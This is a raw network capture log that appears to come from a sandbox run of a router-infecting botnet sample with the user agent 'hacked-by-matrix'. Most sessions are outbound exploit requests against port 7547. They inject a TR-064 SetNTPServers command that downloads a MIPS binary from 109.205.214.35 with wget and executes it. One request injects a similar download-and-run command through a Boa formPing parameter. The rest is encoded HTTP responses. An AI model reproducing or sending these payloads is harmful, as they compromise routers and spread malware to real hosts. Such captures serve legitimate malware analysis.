Mar 21, 2024 05:22:12.939798117 CET	1286	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html last-modified: Tue, 25 Jun 2019 07:01:36 GMT etag: "999-5d11c6d0-22a3701833ded0e1;gz" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding content-length: 1159 date: Thu, 21 Mar 2024 04:22:12 GMT server: LiteSpeed platform: hostinger Data Raw: 1f 8b 08 00 00 00 00 00 00 03 85 56 6d 8f db 36 0c fe 9e 5f a1 ba 1f 92 6c b6 e5 dc f5 35 b1 b3 f5 75 18 b0 f5 06 f4 0a 74 b8 1d 06 46 62 6c f6 64 c9 95 94 4b b2 5e ff fb 20 3b 6f f7 92 cd 80 62 8b 7c 48 51 0f 45 2a f9 a3 b7 67 6f ce ff fc e3 1d ab 7c ad a6 bd 3c bc 98 02 5d 16 11 ea 64 e1 22 d6 58 9c d3 aa 88 84 d1 1e b5 1f b3 ca fb 66 cc 79 b3 b0 2a 35 b6 e4 d6 39 3e 4a 33 5e 1b b9 50 e8 f8 06 c8 99 14 f7 c1 52 70 8f b6 76 9c cd 0d cc 77 fa 55 ad b4 4b 85 a9 79 10 f3 2c 1d 71 66 ca 9d da 94 4d 5a 23 d7 ee 31 b3 72 ee 76 f2 e5 72 99 2e 4f 5b c7 27 59 96 f1 6c c4 ad 9c 27 4e 54 58 c3 63 e6 c8 ec 43 08 86 2d 32 48 5b 57 e1 c3 1f d1 fb 75 83 01 72 65 8e ad f6 84 67 27 3c e8 b9 30 16 1f b3 95 93 47 90 23 fe f9 f7 df 3e 76 31 45 d3 5e 2f af 10 e4 b4 c7 18 63 79 8d 1e 5a ab 04 bf 2e e8 ba 88 de 74 ec 25 e7 eb 06 23 b6 e1 b2 88 3c ae 3c 0f c9 99 30 51 81 75 e8 8b 4f e7 ef 93 17 d1 c6 8f f3 6b 85 2c 44 bd c1 0a e7 36 ba f0 fc bc 31 62 51 67 35 d9 69 2e 74 f9 d7 58 28 03 57 97 f1 a1 30 b9 27 93 e0 21 79 48 b1 7a 48 9a 6e 65 07 a2 3d f0 36 ae 22 89 63 6d fc 60 3b 49 40 53 0d 1e 87 ec db 0e 18 1e 49 ae 51 b0 1e 33 6d 34 b2 47 54 37 c6 7a d0 7e bf 9d ef bd dd 67 d8 d8 dc d8 fa 98 8f 99 32 e2 ea 41 cb 10 c6 26 82 c4 55 74 d7 c3 35 39 9a 91 22 bf 1e b3 8a a4 44 fd 1f 5e 44 65 ec 1d fb c6 38 f2 64 f4 98 c1 cc 19 b5 f0 78 68 df a6 93 b7 f9 3c 76 46 3e 27 9f 5e 25 6f 4c dd 80 a7 99 3a 3c 26 bf be 2b 50 96 18 1d 5a 6a a8 b1 88 ae 09 97 81 ad 03 f0 92 a4 af 0a 89 d7 24 30 69 27 31 23 4d 9e 40 25 4e 80 c2 62 b4 75 e4 c9 2b 9c 9e 99 c6 c5 cc 99 1a 7d 45 ba 64 ca 38 9f f3 4e 77 6f 41 89 4e 58 6a c2 46 0f d6 ec 5c 28 63 ae 1c 53 74 85 cc 57 c8 1a 28 91 91 6b fd a5 ec a3 07 eb d9 da 2c 2c 5b e2 cc 91 47 66 74 8b 13 15 42 93 6e 63 52 a4 af 58 8d 92 a0 88 40 a9 88 59 54 45 d4 12 e7 2a 44 1f b1 ca e2 bc 88 78 e5 a5 11 ee 6f b4 d6 d8 8e d8 74 5f 1d 9d 9b 23 a6 81 74 37 e6 bc 86 95 90 3a 9d 19 e3 9d b7 d0 84 49 68 56 3b 01 3f 4d 4f d3 e7 a1 e8 f6 b2 b4 26 7d 6f a1 db 7e e7 46 7b 97 96 c6 94 0a a1 a1 ae 03 0a e7 7e 9a 43 4d 6a 5d 9c 35 a8 7f fc 08 da 8d 4f b3 2c 3e cd 32 8a 9f 64 59 18 14 3f cb b2 30 28 7e 9e 65 61 50 fc 22 cb c2 a0 fb 4c 4c 7b 9b 2e d1 66 64 df 16 06 f3 85 16 21 43 03 8a 5d 6c e2 32 b6 31 c4 f5 f0 1b 5d f4 7f 69 a3 7a a5 41 ad 3d 09 77 36 fb 82 c2 f7 2f 0b 3b a1 0b 7b 59 84 9f 9b 9b 9d fd f0 f6 11 6f 9d 07 48 fa b5 e8 5e 37 37 17 97 c3 b4 59 b8 6a 00 b6 5c d4 a8 bd 1b 7e 8f 5b a5 2a 46 3f 68 5c b2 b7 e0 71 30 9c 40 e1 52 61 11 3c be 53 18 80 03 33 8c 6f b9 af 0b 97 96 e8 37 6a f7 7a 7d 0e e5 07 a8 71 60 86 17 d9 e5 04 52 70 6b 2d 8a d1 04 52 67 45 51 4e ea b4 01 8b da 7f 30 12 53 d2 0e ad 7f 8d 73 63 71 10 b6 bb af be e1 60 49 5a 9a 65 2c 8d 68 63 8c fb 1d 67 fd b8 bf 4d 5a 68 ee 5d ca 12 d8 b2 Data Ascii: Vm6_l5utFbldK^ ;ob\|HQEgo\|<]d"Xfy59>J3^PRpvwUKy,qfMZ#1rvr.O['Yl'NTXcC-2H[Wureg'<0G#>v1E^/cyZ.t%#<<0QuOk,D61bQg5i.tX(W0'!yHzHne=6"cm`;I@SIQ3m4GT7z~g2A&Ut59"D^De8dxh<vF>'^%oL:<&+PZj$0i'1#M@%Nbu+}Ed8NwoANXjF\(cStW(k,,[GftBncRX@YTEDxot_#t7:IhV;?MO&}o~F{~CMj]5O,>2dY?0(~eaP"LL{.fd!C]l21]izA=w6/;{YoH^77Yj\~[F?h\q0@Ra<S3o7jz}q`Rpk-RgEQN0Sscq`IZe,hcgMZh]
Mar 21, 2024 05:22:12.939815998 CET	260	IN	Data Raw: d3 26 6e 3f fb e2 fa 71 bf 84 fe 70 b2 6f 07 25 0c fa dd ae fa 31 eb 7f 7a 95 9c 3c 7b fa fc e9 cb 17 2f 93 27 cf 82 04 16 de 04 83 43 bc 43 2d 83 2e 14 48 28 e0 9d c3 9c 6f 53 99 f3 ee 36 e9 e5 33 23 d7 db 44 4b ba 66 42 81 73 45 d4 1e fb 88 91 Data Ascii: &n?qpo%1z<{/'CC-.H(oS63#DKfBsE~NoQyU.!jje4.Y{6me4$b%m I[.X]Mao1BK6Nbpk&h,yE.,gP>f_3 XxF-3d44<rI{fMr
Mar 21, 2024 05:22:12.939882040 CET	932	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Thu, 21 Mar 2024 04:22:12 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>
Mar 21, 2024 05:22:13.584821939 CET	1286	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html last-modified: Tue, 25 Jun 2019 07:01:36 GMT etag: "999-5d11c6d0-22a3701833ded0e1;gz" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding content-length: 1159 date: Thu, 21 Mar 2024 04:22:12 GMT server: LiteSpeed platform: hostinger Data Raw: 1f 8b 08 00 00 00 00 00 00 03 85 56 6d 8f db 36 0c fe 9e 5f a1 ba 1f 92 6c b6 e5 dc f5 35 b1 b3 f5 75 18 b0 f5 06 f4 0a 74 b8 1d 06 46 62 6c f6 64 c9 95 94 4b b2 5e ff fb 20 3b 6f f7 92 cd 80 62 8b 7c 48 51 0f 45 2a f9 a3 b7 67 6f ce ff fc e3 1d ab 7c ad a6 bd 3c bc 98 02 5d 16 11 ea 64 e1 22 d6 58 9c d3 aa 88 84 d1 1e b5 1f b3 ca fb 66 cc 79 b3 b0 2a 35 b6 e4 d6 39 3e 4a 33 5e 1b b9 50 e8 f8 06 c8 99 14 f7 c1 52 70 8f b6 76 9c cd 0d cc 77 fa 55 ad b4 4b 85 a9 79 10 f3 2c 1d 71 66 ca 9d da 94 4d 5a 23 d7 ee 31 b3 72 ee 76 f2 e5 72 99 2e 4f 5b c7 27 59 96 f1 6c c4 ad 9c 27 4e 54 58 c3 63 e6 c8 ec 43 08 86 2d 32 48 5b 57 e1 c3 1f d1 fb 75 83 01 72 65 8e ad f6 84 67 27 3c e8 b9 30 16 1f b3 95 93 47 90 23 fe f9 f7 df 3e 76 31 45 d3 5e 2f af 10 e4 b4 c7 18 63 79 8d 1e 5a ab 04 bf 2e e8 ba 88 de 74 ec 25 e7 eb 06 23 b6 e1 b2 88 3c ae 3c 0f c9 99 30 51 81 75 e8 8b 4f e7 ef 93 17 d1 c6 8f f3 6b 85 2c 44 bd c1 0a e7 36 ba f0 fc bc 31 62 51 67 35 d9 69 2e 74 f9 d7 58 28 03 57 97 f1 a1 30 b9 27 93 e0 21 79 48 b1 7a 48 9a 6e 65 07 a2 3d f0 36 ae 22 89 63 6d fc 60 3b 49 40 53 0d 1e 87 ec db 0e 18 1e 49 ae 51 b0 1e 33 6d 34 b2 47 54 37 c6 7a d0 7e bf 9d ef bd dd 67 d8 d8 dc d8 fa 98 8f 99 32 e2 ea 41 cb 10 c6 26 82 c4 55 74 d7 c3 35 39 9a 91 22 bf 1e b3 8a a4 44 fd 1f 5e 44 65 ec 1d fb c6 38 f2 64 f4 98 c1 cc 19 b5 f0 78 68 df a6 93 b7 f9 3c 76 46 3e 27 9f 5e 25 6f 4c dd 80 a7 99 3a 3c 26 bf be 2b 50 96 18 1d 5a 6a a8 b1 88 ae 09 97 81 ad 03 f0 92 a4 af 0a 89 d7 24 30 69 27 31 23 4d 9e 40 25 4e 80 c2 62 b4 75 e4 c9 2b 9c 9e 99 c6 c5 cc 99 1a 7d 45 ba 64 ca 38 9f f3 4e 77 6f 41 89 4e 58 6a c2 46 0f d6 ec 5c 28 63 ae 1c 53 74 85 cc 57 c8 1a 28 91 91 6b fd a5 ec a3 07 eb d9 da 2c 2c 5b e2 cc 91 47 66 74 8b 13 15 42 93 6e 63 52 a4 af 58 8d 92 a0 88 40 a9 88 59 54 45 d4 12 e7 2a 44 1f b1 ca e2 bc 88 78 e5 a5 11 ee 6f b4 d6 d8 8e d8 74 5f 1d 9d 9b 23 a6 81 74 37 e6 bc 86 95 90 3a 9d 19 e3 9d b7 d0 84 49 68 56 3b 01 3f 4d 4f d3 e7 a1 e8 f6 b2 b4 26 7d 6f a1 db 7e e7 46 7b 97 96 c6 94 0a a1 a1 ae 03 0a e7 7e 9a 43 4d 6a 5d 9c 35 a8 7f fc 08 da 8d 4f b3 2c 3e cd 32 8a 9f 64 59 18 14 3f cb b2 30 28 7e 9e 65 61 50 fc 22 cb c2 a0 fb 4c 4c 7b 9b 2e d1 66 64 df 16 06 f3 85 16 21 43 03 8a 5d 6c e2 32 b6 31 c4 f5 f0 1b 5d f4 7f 69 a3 7a a5 41 ad 3d 09 77 36 fb 82 c2 f7 2f 0b 3b a1 0b 7b 59 84 9f 9b 9b 9d fd f0 f6 11 6f 9d 07 48 fa b5 e8 5e 37 37 17 97 c3 b4 59 b8 6a 00 b6 5c d4 a8 bd 1b 7e 8f 5b a5 2a 46 3f 68 5c b2 b7 e0 71 30 9c 40 e1 52 61 11 3c be 53 18 80 03 33 8c 6f b9 af 0b 97 96 e8 37 6a f7 7a 7d 0e e5 07 a8 71 60 86 17 d9 e5 04 52 70 6b 2d 8a d1 04 52 67 45 51 4e ea b4 01 8b da 7f 30 12 53 d2 0e ad 7f 8d 73 63 71 10 b6 bb af be e1 60 49 5a 9a 65 2c 8d 68 63 8c fb 1d 67 fd b8 bf 4d 5a 68 ee 5d ca 12 d8 b2 Data Ascii: Vm6_l5utFbldK^ ;ob\|HQEgo\|<]d"Xfy59>J3^PRpvwUKy,qfMZ#1rvr.O['Yl'NTXcC-2H[Wureg'<0G#>v1E^/cyZ.t%#<<0QuOk,D61bQg5i.tX(W0'!yHzHne=6"cm`;I@SIQ3m4GT7z~g2A&Ut59"D^De8dxh<vF>'^%oL:<&+PZj$0i'1#M@%Nbu+}Ed8NwoANXjF\(cStW(k,,[GftBncRX@YTEDxot_#t7:IhV;?MO&}o~F{~CMj]5O,>2dY?0(~eaP"LL{.fd!C]l21]izA=w6/;{YoH^77Yj\~[F?h\q0@Ra<S3o7jz}q`Rpk-RgEQN0Sscq`IZe,hcgMZh]

Session ID	Source IP	Source Port	Destination IP	Destination Port
339	192.168.2.13	46230	74.135.184.89	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:12.920814037 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
340	192.168.2.13	37664	94.30.238.234	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:12.988145113 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
341	192.168.2.13	42736	99.231.7.19	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:13.063878059 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
342	192.168.2.13	46248	74.135.184.89	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:13.063958883 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
343	192.168.2.13	50432	221.163.122.79	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:13.064263105 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
344	192.168.2.13	53326	181.209.111.228	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:13.149970055 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
345	192.168.2.13	41584	104.172.71.61	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:13.162209034 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
346	192.168.2.13	42746	99.231.7.19	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:13.188086033 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
347	192.168.2.13	37684	94.30.238.234	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:13.195251942 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
348	192.168.2.13	38120	46.0.165.141	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:13.278568983 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:13.494126081 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 08:22:12 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
349	192.168.2.13	41594	104.172.71.61	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:13.353693008 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
350	192.168.2.13	50454	221.163.122.79	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:13.353915930 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
351	192.168.2.13	38128	46.0.165.141	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:13.512465954 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
